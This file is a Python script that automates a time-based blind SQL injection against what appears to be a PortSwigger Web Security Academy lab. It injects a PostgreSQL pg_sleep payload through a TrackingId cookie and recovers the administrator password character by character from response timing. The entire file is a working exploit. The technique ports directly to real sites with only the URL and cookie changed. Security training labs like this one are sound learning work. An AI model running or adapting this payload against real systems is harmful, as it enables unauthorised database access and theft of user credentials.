blind_sql_script_instead_burp_intruder.py

import requests
import sys
import string
def blind_sql_injection(url, length):
    output = ''
    target = url
    headers={}
    chars = string.digits + string.ascii_letters 
    for i in range(1, length+1):
        base_cookie = "TrackingId=VVXZ5soYhRzXLKyj'%%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,%s,1)='[CHAR]')+THEN+pg_sleep(8)+ELSE+pg_sleep(0)+END+FROM+users--; session=OgsZsGdBcQnsSGqgwH3DXryrixIpLxn9"%(str(i))
        for char in chars:        
            print("Currently trying digit %s with: "%str(i), char)
            cookie = base_cookie.replace("[CHAR]",char)
            headers["cookie"]=cookie
#            print(cookie)
            try:
                res = requests.get(url, headers=headers, timeout=6)
            except Exception as e:
                # verify it again
                try:
                    res = requests.get(url, headers=headers, timeout=6)
                except Exception as e:
                    output += char
                    break

        print("Current password: ", output)

url = "https://acf51fe91e8eaf8e80791b9200df0094.web-security-academy.net/"
blind_sql_injection(url, 20)